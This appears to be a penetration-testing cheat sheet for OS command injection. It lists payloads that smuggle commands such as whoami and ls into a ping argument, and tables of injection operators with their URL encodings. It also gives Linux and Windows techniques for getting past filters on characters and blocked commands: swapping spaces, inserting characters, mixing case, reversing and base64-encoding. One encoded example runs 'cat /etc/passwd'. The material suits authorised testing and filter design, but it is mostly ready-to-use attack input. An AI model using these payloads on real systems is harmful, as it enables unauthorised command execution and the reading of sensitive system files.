Payloads
| ping 127.0.0.1; whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 || whoami
127.0.0.1%0a whoami
127.0.0.1%0a{ls,-la}
w"h"o"am"i
who$@ami
w\ho\am\i
who^ami
WhOaMi
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(rev<<<'imaohw')
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
https://github.com/Bashfuscator/Bashfuscator
Injection Operators
Injection Operator |
Injection Character |
URL-Encoded Character |
Executed Command |
Semicolon |
; |
%3b |
Both |
New Line |
\n |
%0a |
Both |
Background |
& |
%26 |
Both (second output generally shown first) |
Pipe |
\| |
%7c |
Both (only second output is shown) |
AND |
&& |
%26%26 |
Both (only if first succeeds) |
OR |
\|\| |
%7c%7c |
Second (only if first fails) |
Sub-Shell |
`` |
%60%60 |
Both (Linux-only) |
Sub-Shell |
$() |
%24%28%29 |
Both (Linux-only) |
Linux
Filtered Character Bypass
Code |
Description |
printenv |
Can be used to view all environment variables |
Spaces |
|
%09 |
Using tabs instead of spaces |
${IFS} |
Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $() ) |
{ls,-la} |
Commas will be replaced with spaces |
Other Characters |
|
${PATH:0:1} |
Will be replaced with / |
${LS_COLORS:10:1} |
Will be replaced with ; |
$(tr '!-}' '"-~'<<<[) |
Shift character by one ([ -> \ ) |
Blacklisted Command Bypass
Code |
Description |
Character Insertion |
|
' or " |
Total must be even |
$@ or \ |
Linux only |
Case Manipulation |
|
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") |
Execute command regardless of cases |
$(a="WhOaMi";printf %s "${a,,}") |
Another variation of the technique |
Reversed Commands |
|
echo 'whoami' \| rev |
Reverse a string |
$(rev<<<'imaohw') |
Execute reversed command |
Encoded Commands |
|
echo -n 'cat /etc/passwd \| grep 33' \| base64 |
Encode a string with base64 |
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) |
Execute b64 encoded string |
Windows
Filtered Character Bypass
Code |
Description |
Get-ChildItem Env: |
Can be used to view all environment variables - (PowerShell) |
Spaces |
|
%09 |
Using tabs instead of spaces |
%PROGRAMFILES:~10,-5% |
Will be replaced with a space - (CMD) |
$env:PROGRAMFILES[10] |
Will be replaced with a space - (PowerShell) |
Other Characters |
|
%HOMEPATH:~0,-17% |
Will be replaced with \ - (CMD) |
$env:HOMEPATH[0] |
Will be replaced with \ - (PowerShell) |
Blacklisted Command Bypass
Code |
Description |
Character Insertion |
|
' or " |
Total must be even |
^ |
Windows only (CMD) |
Case Manipulation |
|
WhoAmi |
Simply send the character with odd cases |
Reversed Commands |
|
"whoami"[-1..-20] -join '' |
Reverse a string |
iex "$('imaohw'[-1..-20] -join '')" |
Execute reversed command |
Encoded Commands |
|
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) |
Encode a string with base64 |
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" |
Execute b64 encoded string |